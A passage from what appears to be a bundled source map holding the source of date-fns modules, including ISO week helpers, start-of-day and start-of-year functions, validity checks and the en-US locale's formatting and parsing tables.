* @returns The start of an ISO week\n *\n * @example\n * // The start of an ISO week for 2 September 2014 11:55:00:\n * const result = startOfISOWeek(new Date(2014, 8, 2, 11, 55, 0))\n * //=> Mon Sep 01 2014 00:00:00\n */\nexport function startOfISOWeek(date) {\n  return startOfWeek(date, { weekStartsOn: 1 });\n}\n\n// Fallback for modularized imports:\nexport default startOfISOWeek;\n","import { constructFrom } from \"./constructFrom.mjs\";\nimport { startOfISOWeek } from \"./startOfISOWeek.mjs\";\nimport { toDate } from \"./toDate.mjs\";\n\n/**\n * @name getISOWeekYear\n * @category ISO Week-Numbering Year Helpers\n * @summary Get the ISO week-numbering year of the given date.\n *\n * @description\n * Get the ISO week-numbering year of the given date,\n * which always starts 3 days before the year's first Thursday.\n *\n * ISO week-numbering year: http://en.wikipedia.org/wiki/ISO_week_date\n *\n * @typeParam DateType - The `Date` type, the function operates on. Gets inferred from passed arguments. Allows to use extensions like [`UTCDate`](https://github.com/date-fns/utc).\n *\n * @param date - The given date\n *\n * @returns The ISO week-numbering year\n *\n * @example\n * // Which ISO-week numbering year is 2 January 2005?\n * const result = getISOWeekYear(new Date(2005, 0, 2))\n * //=> 2004\n */\nexport function getISOWeekYear(date) {\n  const _date = toDate(date);\n  const year = _date.getFullYear();\n\n  const fourthOfJanuaryOfNextYear = constructFrom(date, 0);\n  fourthOfJanuaryOfNextYear.setFullYear(year + 1, 0, 4);\n  fourthOfJanuaryOfNextYear.setHours(0, 0, 0, 0);\n  const startOfNextYear = startOfISOWeek(fourthOfJanuaryOfNextYear);\n\n  const fourthOfJanuaryOfThisYear = constructFrom(date, 0);\n  fourthOfJanuaryOfThisYear.setFullYear(year, 0, 4);\n  fourthOfJanuaryOfThisYear.setHours(0, 0, 0, 0);\n  const startOfThisYear = startOfISOWeek(fourthOfJanuaryOfThisYear);\n\n  if (_date.getTime() >= startOfNextYear.getTime()) {\n    return year + 1;\n  } else if (_date.getTime() >= startOfThisYear.getTime()) {\n    return year;\n  } else {\n    return year - 1;\n  }\n}\n\n// Fallback for modularized imports:\nexport default getISOWeekYear;\n","import { toDate } from \"./toDate.mjs\";\n\n/**\n * @name startOfDay\n * @category Day Helpers\n * @summary Return the start of a day for the given date.\n *\n * @description\n * Return the start of a day for the given date.\n * The result will be in the local timezone.\n *\n * @typeParam DateType - The `Date` type, the function operates on. Gets inferred from passed arguments. Allows to use extensions like [`UTCDate`](https://github.com/date-fns/utc).\n *\n * @param date - The original date\n *\n * @returns The start of a day\n *\n * @example\n * // The start of a day for 2 September 2014 11:55:00:\n * const result = startOfDay(new Date(2014, 8, 2, 11, 55, 0))\n * //=> Tue Sep 02 2014 00:00:00\n */\nexport function startOfDay(date) {\n  const _date = toDate(date);\n  _date.setHours(0, 0, 0, 0);\n  return _date;\n}\n\n// Fallback for modularized imports:\nexport default startOfDay;\n","import { toDate } from \"../toDate.mjs\";\n\n/**\n * Google Chrome as of 67.0.3396.87 introduced timezones with offset that includes seconds.\n * They usually appear for dates that denote time before the timezones were introduced\n * (e.g. for 'Europe/Prague' timezone the offset is GMT+00:57:44 before 1 October 1891\n * and GMT+01:00:00 after that date)\n *\n * Date#getTimezoneOffset returns the offset in minutes and would return 57 for the example above,\n * which would lead to incorrect calculations.\n *\n * This function returns the timezone offset in milliseconds that takes seconds in account.\n */\nexport function getTimezoneOffsetInMilliseconds(date) {\n  const _date = toDate(date);\n  const utcDate = new Date(\n    Date.UTC(\n      _date.getFullYear(),\n      _date.getMonth(),\n      _date.getDate(),\n      _date.getHours(),\n      _date.getMinutes(),\n      _date.getSeconds(),\n      _date.getMilliseconds(),\n    ),\n  );\n  utcDate.setUTCFullYear(_date.getFullYear());\n  return +date - +utcDate;\n}\n","import { millisecondsInDay } from \"./constants.mjs\";\nimport { startOfDay } from \"./startOfDay.mjs\";\nimport { getTimezoneOffsetInMilliseconds } from \"./_lib/getTimezoneOffsetInMilliseconds.mjs\";\n\n/**\n * @name differenceInCalendarDays\n * @category Day Helpers\n * @summary Get the number of calendar days between the given dates.\n *\n * @description\n * Get the number of calendar days between the given dates. This means that the times are removed\n * from the dates and then the difference in days is calculated.\n *\n * @typeParam DateType - The `Date` type, the function operates on. Gets inferred from passed arguments. Allows to use extensions like [`UTCDate`](https://github.com/date-fns/utc).\n *\n * @param dateLeft - The later date\n * @param dateRight - The earlier date\n *\n * @returns The number of calendar days\n *\n * @example\n * // How many calendar days are between\n * // 2 July 2011 23:00:00 and 2 July 2012 00:00:00?\n * const result = differenceInCalendarDays(\n *   new Date(2012, 6, 2, 0, 0),\n *   new Date(2011, 6, 2, 23, 0)\n * )\n * //=> 366\n * // How many calendar days are between\n * // 2 July 2011 23:59:00 and 3 July 2011 00:01:00?\n * const result = differenceInCalendarDays(\n *   new Date(2011, 6, 3, 0, 1),\n *   new Date(2011, 6, 2, 23, 59)\n * )\n * //=> 1\n */\nexport function differenceInCalendarDays(dateLeft, dateRight) {\n  const startOfDayLeft = startOfDay(dateLeft);\n  const startOfDayRight = startOfDay(dateRight);\n\n  const timestampLeft =\n    +startOfDayLeft - getTimezoneOffsetInMilliseconds(startOfDayLeft);\n  const timestampRight =\n    +startOfDayRight - getTimezoneOffsetInMilliseconds(startOfDayRight);\n\n  // Round the number of days to the nearest integer because the number of\n  // milliseconds in a day is not constant (e.g. it's different in the week of\n  // the daylight saving time clock shift).\n  return Math.round((timestampLeft - timestampRight) / millisecondsInDay);\n}\n\n// Fallback for modularized imports:\nexport default differenceInCalendarDays;\n","import { getISOWeekYear } from \"./getISOWeekYear.mjs\";\nimport { startOfISOWeek } from \"./startOfISOWeek.mjs\";\nimport { constructFrom } from \"./constructFrom.mjs\";\n\n/**\n * @name startOfISOWeekYear\n * @category ISO Week-Numbering Year Helpers\n * @summary Return the start of an ISO week-numbering year for the given date.\n *\n * @description\n * Return the start of an ISO week-numbering year,\n * which always starts 3 days before the year's first Thursday.\n * The result will be in the local timezone.\n *\n * ISO week-numbering year: http://en.wikipedia.org/wiki/ISO_week_date\n *\n * @typeParam DateType - The `Date` type, the function operates on. Gets inferred from passed arguments. Allows to use extensions like [`UTCDate`](https://github.com/date-fns/utc).\n *\n * @param date - The original date\n *\n * @returns The start of an ISO week-numbering year\n *\n * @example\n * // The start of an ISO week-numbering year for 2 July 2005:\n * const result = startOfISOWeekYear(new Date(2005, 6, 2))\n * //=> Mon Jan 03 2005 00:00:00\n */\nexport function startOfISOWeekYear(date) {\n  const year = getISOWeekYear(date);\n  const fourthOfJanuary = constructFrom(date, 0);\n  fourthOfJanuary.setFullYear(year, 0, 4);\n  fourthOfJanuary.setHours(0, 0, 0, 0);\n  return startOfISOWeek(fourthOfJanuary);\n}\n\n// Fallback for modularized imports:\nexport default startOfISOWeekYear;\n","/**\n * @name isDate\n * @category Common Helpers\n * @summary Is the given value a date?\n *\n * @description\n * Returns true if the given value is an instance of Date. The function works for dates transferred across iframes.\n *\n * @param value - The value to check\n *\n * @returns True if the given value is a date\n *\n * @example\n * // For a valid date:\n * const result = isDate(new Date())\n * //=> true\n *\n * @example\n * // For an invalid date:\n * const result = isDate(new Date(NaN))\n * //=> true\n *\n * @example\n * // For some value:\n * const result = isDate('2014-02-31')\n * //=> false\n *\n * @example\n * // For an object:\n * const result = isDate({})\n * //=> false\n */\nexport function isDate(value) {\n  return (\n    value instanceof Date ||\n    (typeof value === \"object\" &&\n      Object.prototype.toString.call(value) === \"[object Date]\")\n  );\n}\n\n// Fallback for modularized imports:\nexport default isDate;\n","import { isDate } from \"./isDate.mjs\";\nimport { toDate } from \"./toDate.mjs\";\n\n/**\n * @name isValid\n * @category Common Helpers\n * @summary Is the given date valid?\n *\n * @description\n * Returns false if argument is Invalid Date and true otherwise.\n * Argument is converted to Date using `toDate`. See [toDate](https://date-fns.org/docs/toDate)\n * Invalid Date is a Date, whose time value is NaN.\n *\n * Time value of Date: http://es5.github.io/#x15.9.1.1\n *\n * @typeParam DateType - The `Date` type, the function operates on. Gets inferred from passed arguments. Allows to use extensions like [`UTCDate`](https://github.com/date-fns/utc).\n *\n * @param date - The date to check\n *\n * @returns The date is valid\n *\n * @example\n * // For the valid date:\n * const result = isValid(new Date(2014, 1, 31))\n * //=> true\n *\n * @example\n * // For the value, convertable into a date:\n * const result = isValid(1393804800000)\n * //=> true\n *\n * @example\n * // For the invalid date:\n * const result = isValid(new Date(''))\n * //=> false\n */\nexport function isValid(date) {\n  if (!isDate(date) && typeof date !== \"number\") {\n    return false;\n  }\n  const _date = toDate(date);\n  return !isNaN(Number(_date));\n}\n\n// Fallback for modularized imports:\nexport default isValid;\n","import { toDate } from \"./toDate.mjs\";\nimport { constructFrom } from \"./constructFrom.mjs\";\n\n/**\n * @name startOfYear\n * @category Year Helpers\n * @summary Return the start of a year for the given date.\n *\n * @description\n * Return the start of a year for the given date.\n * The result will be in the local timezone.\n *\n * @typeParam DateType - The `Date` type, the function operates on. Gets inferred from passed arguments. Allows to use extensions like [`UTCDate`](https://github.com/date-fns/utc).\n *\n * @param date - The original date\n *\n * @returns The start of a year\n *\n * @example\n * // The start of a year for 2 September 2014 11:55:00:\n * const result = startOfYear(new Date(2014, 8, 2, 11, 55, 00))\n * //=> Wed Jan 01 2014 00:00:00\n */\nexport function startOfYear(date) {\n  const cleanDate = toDate(date);\n  const _date = constructFrom(date, 0);\n  _date.setFullYear(cleanDate.getFullYear(), 0, 1);\n  _date.setHours(0, 0, 0, 0);\n  return _date;\n}\n\n// Fallback for modularized imports:\nexport default startOfYear;\n","const formatDistanceLocale = {\n  lessThanXSeconds: {\n    one: \"less than a second\",\n    other: \"less than {{count}} seconds\",\n  },\n\n  xSeconds: {\n    one: \"1 second\",\n    other: \"{{count}} seconds\",\n  },\n\n  halfAMinute: \"half a minute\",\n\n  lessThanXMinutes: {\n    one: \"less than a minute\",\n    other: \"less than {{count}} minutes\",\n  },\n\n  xMinutes: {\n    one: \"1 minute\",\n    other: \"{{count}} minutes\",\n  },\n\n  aboutXHours: {\n    one: \"about 1 hour\",\n    other: \"about {{count}} hours\",\n  },\n\n  xHours: {\n    one: \"1 hour\",\n    other: \"{{count}} hours\",\n  },\n\n  xDays: {\n    one: \"1 day\",\n    other: \"{{count}} days\",\n  },\n\n  aboutXWeeks: {\n    one: \"about 1 week\",\n    other: \"about {{count}} weeks\",\n  },\n\n  xWeeks: {\n    one: \"1 week\",\n    other: \"{{count}} weeks\",\n  },\n\n  aboutXMonths: {\n    one: \"about 1 month\",\n    other: \"about {{count}} months\",\n  },\n\n  xMonths: {\n    one: \"1 month\",\n    other: \"{{count}} months\",\n  },\n\n  aboutXYears: {\n    one: \"about 1 year\",\n    other: \"about {{count}} years\",\n  },\n\n  xYears: {\n    one: \"1 year\",\n    other: \"{{count}} years\",\n  },\n\n  overXYears: {\n    one: \"over 1 year\",\n    other: \"over {{count}} years\",\n  },\n\n  almostXYears: {\n    one: \"almost 1 year\",\n    other: \"almost {{count}} years\",\n  },\n};\n\nexport const formatDistance = (token, count, options) => {\n  let result;\n\n  const tokenValue = formatDistanceLocale[token];\n  if (typeof tokenValue === \"string\") {\n    result = tokenValue;\n  } else if (count === 1) {\n    result = tokenValue.one;\n  } else {\n    result = tokenValue.other.replace(\"{{count}}\", count.toString());\n  }\n\n  if (options?.addSuffix) {\n    if (options.comparison && options.comparison > 0) {\n      return \"in \" + result;\n    } else {\n      return result + \" ago\";\n    }\n  }\n\n  return result;\n};\n","export function buildFormatLongFn(args) {\n  return (options = {}) => {\n    // TODO: Remove String()\n    const width = options.width ? String(options.width) : args.defaultWidth;\n    const format = args.formats[width] || args.formats[args.defaultWidth];\n    return format;\n  };\n}\n","import { buildFormatLongFn } from \"../../_lib/buildFormatLongFn.mjs\";\n\nconst dateFormats = {\n  full: \"EEEE, MMMM do, y\",\n  long: \"MMMM do, y\",\n  medium: \"MMM d, y\",\n  short: \"MM/dd/yyyy\",\n};\n\nconst timeFormats = {\n  full: \"h:mm:ss a zzzz\",\n  long: \"h:mm:ss a z\",\n  medium: \"h:mm:ss a\",\n  short: \"h:mm a\",\n};\n\nconst dateTimeFormats = {\n  full: \"{{date}} 'at' {{time}}\",\n  long: \"{{date}} 'at' {{time}}\",\n  medium: \"{{date}}, {{time}}\",\n  short: \"{{date}}, {{time}}\",\n};\n\nexport const formatLong = {\n  date: buildFormatLongFn({\n    formats: dateFormats,\n    defaultWidth: \"full\",\n  }),\n\n  time: buildFormatLongFn({\n    formats: timeFormats,\n    defaultWidth: \"full\",\n  }),\n\n  dateTime: buildFormatLongFn({\n    formats: dateTimeFormats,\n    defaultWidth: \"full\",\n  }),\n};\n","const formatRelativeLocale = {\n  lastWeek: \"'last' eeee 'at' p\",\n  yesterday: \"'yesterday at' p\",\n  today: \"'today at' p\",\n  tomorrow: \"'tomorrow at' p\",\n  nextWeek: \"eeee 'at' p\",\n  other: \"P\",\n};\n\nexport const formatRelative = (token, _date, _baseDate, _options) =>\n  formatRelativeLocale[token];\n","/* eslint-disable no-unused-vars */\n\n/**\n * The localize function argument callback which allows to convert raw value to\n * the actual type.\n *\n * @param value - The value to convert\n *\n * @returns The converted value\n */\n\n/**\n * The map of localized values for each width.\n */\n\n/**\n * The index type of the locale unit value. It types conversion of units of\n * values that don't start at 0 (i.e. quarters).\n */\n\n/**\n * Converts the unit value to the tuple of values.\n */\n\n/**\n * The tuple of localized era values. The first element represents BC,\n * the second element represents AD.\n */\n\n/**\n * The tuple of localized quarter values. The first element represents Q1.\n */\n\n/**\n * The tuple of localized day values. The first element represents Sunday.\n */\n\n/**\n * The tuple of localized month values. The first element represents January.\n */\n\nexport function buildLocalizeFn(args) {\n  return (value, options) => {\n    const context = options?.context ? String(options.context) : \"standalone\";\n\n    let valuesArray;\n    if (context === \"formatting\" && args.formattingValues) {\n      const defaultWidth = args.defaultFormattingWidth || args.defaultWidth;\n      const width = options?.width ? String(options.width) : defaultWidth;\n\n      valuesArray =\n        args.formattingValues[width] || args.formattingValues[defaultWidth];\n    } else {\n      const defaultWidth = args.defaultWidth;\n      const width = options?.width ? String(options.width) : args.defaultWidth;\n\n      valuesArray = args.values[width] || args.values[defaultWidth];\n    }\n    const index = args.argumentCallback ? args.argumentCallback(value) : value;\n\n    // @ts-expect-error - For some reason TypeScript just don't want to match it, no matter how hard we try. I challenge you to try to remove it!\n    return valuesArray[index];\n  };\n}\n","import { buildLocalizeFn } from \"../../_lib/buildLocalizeFn.mjs\";\n\nconst eraValues = {\n  narrow: [\"B\", \"A\"],\n  abbreviated: [\"BC\", \"AD\"],\n  wide: [\"Before Christ\", \"Anno Domini\"],\n};\n\nconst quarterValues = {\n  narrow: [\"1\", \"2\", \"3\", \"4\"],\n  abbreviated: [\"Q1\", \"Q2\", \"Q3\", \"Q4\"],\n  wide: [\"1st quarter\", \"2nd quarter\", \"3rd quarter\", \"4th quarter\"],\n};\n\n// Note: in English, the names of days of the week and months are capitalized.\n// If you are making a new locale based on this one, check if the same is true for the language you're working on.\n// Generally, formatted dates should look like they are in the middle of a sentence,\n// e.g. in Spanish language the weekdays and months should be in the lowercase.\nconst monthValues = {\n  narrow: [\"J\", \"F\", \"M\", \"A\", \"M\", \"J\", \"J\", \"A\", \"S\", \"O\", \"N\", \"D\"],\n  abbreviated: [\n    \"Jan\",\n    \"Feb\",\n    \"Mar\",\n    \"Apr\",\n    \"May\",\n    \"Jun\",\n    \"Jul\",\n    \"Aug\",\n    \"Sep\",\n    \"Oct\",\n    \"Nov\",\n    \"Dec\",\n  ],\n\n  wide: [\n    \"January\",\n    \"February\",\n    \"March\",\n    \"April\",\n    \"May\",\n    \"June\",\n    \"July\",\n    \"August\",\n    \"September\",\n    \"October\",\n    \"November\",\n    \"December\",\n  ],\n};\n\nconst dayValues = {\n  narrow: [\"S\", \"M\", \"T\", \"W\", \"T\", \"F\", \"S\"],\n  short: [\"Su\", \"Mo\", \"Tu\", \"We\", \"Th\", \"Fr\", \"Sa\"],\n  abbreviated: [\"Sun\", \"Mon\", \"Tue\", \"Wed\", \"Thu\", \"Fri\", \"Sat\"],\n  wide: [\n    \"Sunday\",\n    \"Monday\",\n    \"Tuesday\",\n    \"Wednesday\",\n    \"Thursday\",\n    \"Friday\",\n    \"Saturday\",\n  ],\n};\n\nconst dayPeriodValues = {\n  narrow: {\n    am: \"a\",\n    pm: \"p\",\n    midnight: \"mi\",\n    noon: \"n\",\n    morning: \"morning\",\n    afternoon: \"afternoon\",\n    evening: \"evening\",\n    night: \"night\",\n  },\n  abbreviated: {\n    am: \"AM\",\n    pm: \"PM\",\n    midnight: \"midnight\",\n    noon: \"noon\",\n    morning: \"morning\",\n    afternoon: \"afternoon\",\n    evening: \"evening\",\n    night: \"night\",\n  },\n  wide: {\n    am: \"a.m.\",\n    pm: \"p.m.\",\n    midnight: \"midnight\",\n    noon: \"noon\",\n    morning: \"morning\",\n    afternoon: \"afternoon\",\n    evening: \"evening\",\n    night: \"night\",\n  },\n};\n\nconst formattingDayPeriodValues = {\n  narrow: {\n    am: \"a\",\n    pm: \"p\",\n    midnight: \"mi\",\n    noon: \"n\",\n    morning: \"in the morning\",\n    afternoon: \"in the afternoon\",\n    evening: \"in the evening\",\n    night: \"at night\",\n  },\n  abbreviated: {\n    am: \"AM\",\n    pm: \"PM\",\n    midnight: \"midnight\",\n    noon: \"noon\",\n    morning: \"in the morning\",\n    afternoon: \"in the afternoon\",\n    evening: \"in the evening\",\n    night: \"at night\",\n  },\n  wide: {\n    am: \"a.m.\",\n    pm: \"p.m.\",\n    midnight: \"midnight\",\n    noon: \"noon\",\n    morning: \"in the morning\",\n    afternoon: \"in the afternoon\",\n    evening: \"in the evening\",\n    night: \"at night\",\n  },\n};\n\nconst ordinalNumber = (dirtyNumber, _options) => {\n  const number = Number(dirtyNumber);\n\n  // If ordinal numbers depend on context, for example,\n  // if they are different for different grammatical genders,\n  // use `options.unit`.\n  //\n  // `unit` can be 'year', 'quarter', 'month', 'week', 'date', 'dayOfYear',\n  // 'day', 'hour', 'minute', 'second'.\n\n  const rem100 = number % 100;\n  if (rem100 > 20 || rem100 < 10) {\n    switch (rem100 % 10) {\n      case 1:\n        return number + \"st\";\n      case 2:\n        return number + \"nd\";\n      case 3:\n        return number + \"rd\";\n    }\n  }\n  return number + \"th\";\n};\n\nexport const localize = {\n  ordinalNumber,\n\n  era: buildLocalizeFn({\n    values: eraValues,\n    defaultWidth: \"wide\",\n  }),\n\n  quarter: buildLocalizeFn({\n    values: quarterValues,\n    defaultWidth: \"wide\",\n    argumentCallback: (quarter) => quarter - 1,\n  }),\n\n  month: buildLocalizeFn({\n    values: monthValues,\n    defaultWidth: \"wide\",\n  }),\n\n  day: buildLocalizeFn({\n    values: dayValues,\n    defaultWidth: \"wide\",\n  }),\n\n  dayPeriod: buildLocalizeFn({\n    values: dayPeriodValues,\n    defaultWidth: \"wide\",\n    formattingValues: formattingDayPeriodValues,\n    defaultFormattingWidth: \"wide\",\n  }),\n};\n","export function buildMatchFn(args) {\n  return (string, options = {}) => {\n    const width = options.width;\n\n    const matchPattern =\n      (width && args.matchPatterns[width]) ||\n      args.matchPatterns[args.defaultMatchWidth];\n    const matchResult = string.match(matchPattern);\n\n    if (!matchResult) {\n      return null;\n    }\n    const matchedString = matchResult[0];\n\n    const parsePatterns =\n      (width && args.parsePatterns[width]) ||\n      args.parsePatterns[args.defaultParseWidth];\n\n    const key = Array.isArray(parsePatterns)\n      ? findIndex(parsePatterns, (pattern) => pattern.test(matchedString))\n      : // eslint-disable-next-line @typescript-eslint/no-explicit-any -- I challange you to fix the type\n        findKey(parsePatterns, (pattern) => pattern.test(matchedString));\n\n    let value;\n\n    value = args.valueCallback ? args.valueCallback(key) : key;\n    value = options.valueCallback\n      ? // eslint-disable-next-line @typescript-eslint/no-explicit-any -- I challange you to fix the type\n        options.valueCallback(value)\n      : value;\n\n    const rest = string.slice(matchedString.length);\n\n    return { value, rest };\n  };\n}\n\nfunction findKey(object, predicate) {\n  for (const key in object) {\n    if (\n      Object.prototype.hasOwnProperty.call(object, key) &&\n      predicate(object[key])\n    ) {\n      return key;\n    }\n  }\n  return undefined;\n}\n\nfunction findIndex(array, predicate) {\n  for (let key = 0; key < array.length; key++) {\n    if (predicate(array[key])) {\n      return key;\n    }\n  }\n  return undefined;\n}\n","export function buildMatchPatternFn(args) {\n  return (string, options = {}) => {\n    const matchResult = string.match(args.matchPattern);\n    if (!matchResult) return null;\n    const matchedString = matchResult[0];\n\n    const parseResult = string.match(args.parsePattern);\n    if (!parseResult) return null;\n    let value = args.valueCallback\n      ? args.valueCallback(parseResult[0])\n      : parseResult[0];\n\n    // eslint-disable-next-line @typescript-eslint/no-explicit-any -- I challange you to fix the type\n    value = options.valueCallback ? options.valueCallback(value) : value;\n\n    const rest = string.slice(matchedString.length);\n\n    return { value, rest };\n  };\n}\n","import { buildMatchFn } from \"../../_lib/buildMatchFn.mjs\";\nimport { buildMatchPatternFn } from \"../../_lib/buildMatchPatternFn.mjs\";\n\nconst matchOrdinalNumberPattern = /^(\\d+)(th|st|nd|rd)?/i;\nconst parseOrdinalNumberPattern = /\\d+/i;\n\nconst matchEraPatterns = {\n  narrow: /^(b|a)/i,\n  abbreviated: /^(b\\.?\\s?c\\.?|b\\.?\\s?c\\.?\\s?e\\.?|a\\.?\\s?d\\.?|c\\.?\\s?e\\.?)/i,\n  wide: /^(before christ|before common era|anno domini|common era)/i,\n};\nconst parseEraPatterns = {\n  any: [/^b/i, /^(a|c)/i],\n};\n\nconst matchQuarterPatterns = {\n  narrow: /^[1234]/i,\n  abbreviated: /^q[1234]/i,\n  wide: /^[1234](th|st|nd|rd)? quarter/i,\n};\nconst parseQuarterPatterns = {\n  any: [/1/i, /2/i, /3/i, /4/i],\n};\n\nconst matchMonthPatterns = {\n  narrow: /^[jfmasond]/i,\n  abbreviated: /^(jan|feb|mar|apr|may|jun|jul|aug|sep|oct|nov|dec)/i,\n  wide: /^(january|february|march|april|may|june|july|august|september|october|november|december)/i,\n};\nconst parseMonthPatterns = {\n  narrow: [\n    /^j/i,\n    /^f/i,\n    /^m/i,\n    /^a/i,\n    /^m/i,\n    /^j/i,\n    /^j/i,\n    /^a/i,\n    /^s/i,\n    /^o/i,\n    /^n/i,\n    /^d/i,\n  ],\n\n  any: [\n    /^ja/i,\n    /^f/i,\n    /^mar/i,\n    /^ap/i,\n    /^may/i,\n    /^jun/i,\n    /^jul/i,\n    /^au/i,\n    /^s/i,\n    /^o/i,\n    /^n/i,\n    /^d/i,\n  ],\n};\n\nconst matchDayPatterns = {\n  narrow: /^[smtwf]/i,\n  short: /^(su|mo|tu|we|th|fr|sa)/i,\n  abbreviated: /^(sun|mon|tue|wed|thu|fri|sat)/i,\n  wide: /^(sunday|monday|tuesday|wednesday|thursday|friday|saturday)/i,\n};\nconst parseDayPatterns = {\n  narrow: [/^s/i, /^m/i, /^t/i, /^w/i, /^t/i, /^f/i, /^s/i],\n  any: [/^su/i, /^m/i, /^tu/i, /^w/i, /^th/i, /^f/i, /^sa/i],\n};\n\nconst matchDayPeriodPatterns = {\n  narrow: /^(a|p|mi|n|(in the|at) (morning|afternoon|evening|night))/i,\n  any: /^([ap]\\.?\\s?m\\.?|midnight|noon|(in the|at) (morning|afternoon|evening|night))/i,\n};\nconst parseDayPeriodPatterns = {\n  any: {\n    am: /^a/i,\n    pm: /^p/i,\n    midnight: /^mi/i,\n    noon: /^no/i,\n    morning: /morning/i,\n    afternoon: /afternoon/i,\n    evening: /evening/i,\n    night: /night/i,\n  },\n};\n\nexport const match = {\n  ordinalNumber: buildMatchPatternFn({\n    matchPattern: matchOrdinalNumberPattern,\n    parsePattern: parseOrdinalNumberPattern,\n    valueCallback: (value) => parseInt(value, 10),\n  }),\n\n  era: buildMatchFn({\n    matchPatterns: matchEraPatterns,\n    defaultMatchWidth: \"wide\",\n    parsePatterns: parseEraPatterns,\n    defaultParseWidth: \"any\",\n  }),\n\n  quarter: buildMatchFn({\n    matchPatterns: matchQuarterPatterns,\n    defaultMatchWidth: \"wide\",\n    parsePatterns: parseQuarterPatterns,\n    defaultParseWidth: \"any\",\n    valueCallback: (index) => index + 1,\n  }),\n\n  month: buildMatchFn({\n    matchPatterns: matchMonthPatterns,\n    defaultMatchWidth: \"wide\",\n    parsePatterns: parseMonthPatterns,\n    defaultParseWidth: \"any\",\n  }),\n\n  day: buildMatchFn({\n    matchPatterns: matchDayPatterns,\n    defaultMatchWidth: \"wide\",\n    parsePatterns: parseDayPatterns,\n    defaultParseWidth: \"any\",\n  }),\n\n  dayPeriod: buildMatchFn({\n    matchPatterns: matchDayPeriodPatterns,\n    defaultMatchWidth: \"any\",\n    parsePatterns: parseDayPeriodPatterns,\n    defaultParseWidth: \"any\",\n  }),\n};\n","import { formatDistance } from \"./en-US/_lib/formatDistance.mjs\";\nimport { formatLong } from \"./en-US/_lib/formatLong.mjs\";\nimport { formatRelative } from \"./en-US/_lib/formatRelative.mjs\";\nimport { localize } from \"./en-US/_lib/localize.mjs\";\nimport { match } from \"./en-US/_lib/match.mjs\";\n\n/**\n * @category Locales\n * @summary English locale (United States).\n * @language English\n * @iso-639-2 eng\n * @author Sasha Koss [@kossnocorp](https://github.com/kossnocorp)\n * @author Lesha Koss [@leshakoss](https://github.com/leshakoss)\n */\nexport const enUS = {\n  code: \"en-US\",\n  formatDistance: formatDistance,\n  formatLong: formatLong,\n  formatRelative: formatRelative,\n  localize: localize,\n  match: match,\n  options: {\n    weekStartsOn: 0 /* Sunday */,\n    firstWeekContainsDate: 1,\n  },\n};\n\n// Fallback for modularized imports:\nexport default enUS;\n","import { differenceInCalendarDays } from \"./differenceInCalendarDays.mjs\";\nimport { startOfYear } from \"./startOfYear.mjs\";\nimport { toDate } from \"./toDate.mjs\";\n\n/**\n * @name getDayOfYear\n * @category Day Helpers\n * @summary Get the day of the year of the given date.\n *\n * @description\n * Get the day of the year of the given date.\n *\n * @typeParam DateType - The `Date` type, the function operates on. Gets inferred from passed arguments. Allows to use extensions like [`UTCDate`](https://github.com/date-fns/utc).\n *\n * @param date - The given date\n *\n * @returns The day of year\n *\n * @example\n * // Which day of the year is 2 July 2014?\n * const result = getDayOfYear(new Date(2014, 6, 2))\n * //=> 183\n */\nexport function getDayOfYear(date) {\n  const _date = toDate(date);\n  const diff = differenceInCalendarDays(_date, startOfYear(_date));\n  const dayOfYear = diff + 1;\n  return dayOfYear;\n}\n\n// Fallback for modularized imports:\nexport default getDayOfYear;\n","import { millisecondsInWeek } from \"./constants.mjs\";\nimport { startOfISOWeek } from \"./startOfISOWeek.mjs\";\nimport { startOfISOWeekYear } from \"./startOfISOWeekYear.mjs\";\nimport { toDate } from \"./toDate.mjs\";\n\n/**\n * @name getISOWeek\n * @category ISO Week Helpers\n * @summary Get the ISO week of the given date.\n *\n * @description\n * Get the ISO week of the given date.\n *\n * ISO week-numbering year: http://en.wikipedia.org/wiki/ISO_week_date\n *\n * @typeParam DateType - The `Date` type, the function operates on. Gets inferred from passed arguments. Allows to use extensions like [`UTCDate`](https://github.com/date-fns/utc).\n *\n * @param date - The given date\n *\n * @returns The ISO week\n *\n * @example\n * // Which week of the ISO-week numbering year is 2 January 2005?\n * const result = getISOWeek(new Date(2005, 0, 2))\n * //=> 53\n */\nexport function getISOWeek(date) {\n  const _date = toDate(date);\n  const diff = +startOfISOWeek(_date) - +startOfISOWeekYear(_date);\n\n  // Round the number of weeks to the nearest integer because the number of\n  // milliseconds in a week is not constant (e.g. it's different in the week of\n  // the daylight saving time clock shift).\n  return Math.round(diff / millisecondsInWeek) + 1;\n}\n\n// Fallback for modularized imports:\nexport default getISOWeek;\n","import { constructFrom } from \"./constructFrom.mjs\";\nimport { startOfWeek } from \"./startOfWeek.mjs\";\nimport { toDate } from \"./toDate.mjs\";\nimport { getDefaultOptions } from \"./_lib/defaultOptions.mjs\";\n\n/**\n * The {@link getWeekYear} function options.\n */\n\n/**\n * @name getWeekYear\n * @category Week-Numbering Year Helpers\n * @summary Get the local week-numbering year of the given date.\n *\n * @description\n * Get the local week-numbering year of the given date.\n * The exact calculation depends on the values of\n * `options.weekStartsOn` (which is the index of the first day of the week)\n * and `options.firstWeekContainsDate` (which is the day of January, which is always in\n * the first week of the week-numbering year)\n *\n * Week numbering: https://en.wikipedia.org/wiki/Week#The_ISO_week_date_system\n *\n * @typeParam DateType - The `Date` type, the function operates on. Gets inferred from passed arguments. Allows to use extensions like [`UTCDate`](https://github.com/date-fns/utc).\n *\n * @param date - The given date\n * @param options - An object with options.\n *\n * @returns The local week-numbering year\n *\n * @example\n * // Which week numbering year is 26 December 2004 with the default settings?\n * const result = getWeekYear(new Date(2004, 11, 26))\n * //=> 2005\n *\n * @example\n * // Which week numbering year is 26 December 2004 if week starts on Saturday?\n * const result = getWeekYear(new Date(2004, 11, 26), { weekStartsOn: 6 })\n * //=> 2004\n *\n * @example\n * // Which week numbering year is 26 December 2004 if the first week contains 4 January?\n * const result = getWeekYear(new Date(2004, 11, 26), { firstWeekContainsDate: 4 })\n * //=> 2004\n */\nexport function getWeekYear(date, options) {\n  const _date = toDate(date);\n  const year = _date.getFullYear();\n\n  const defaultOptions = getDefaultOptions();\n  const firstWeekContainsDate =\n    options?.firstWeekContainsDate ??\n    options?.locale?.options?.firstWeekContainsDate ??\n    defaultOptions.firstWeekContainsDate ??\n    defaultOptions.locale?.options?.firstWeekContainsDate ??\n    1;\n\n  const firstWeekOfNextYear = constructFrom(date, 0);\n  firstWeekOfNextYear.setFullYear(year + 1, 0, firstWeekContainsDate);\n  firstWeekOfNextYear.setHours(0, 0, 0, 0);\n  const startOfNextYear = startOfWeek(firstWeekOfNextYear, options);\n\n  const firstWeekOfThisYear = constructFrom(date, 0);\n  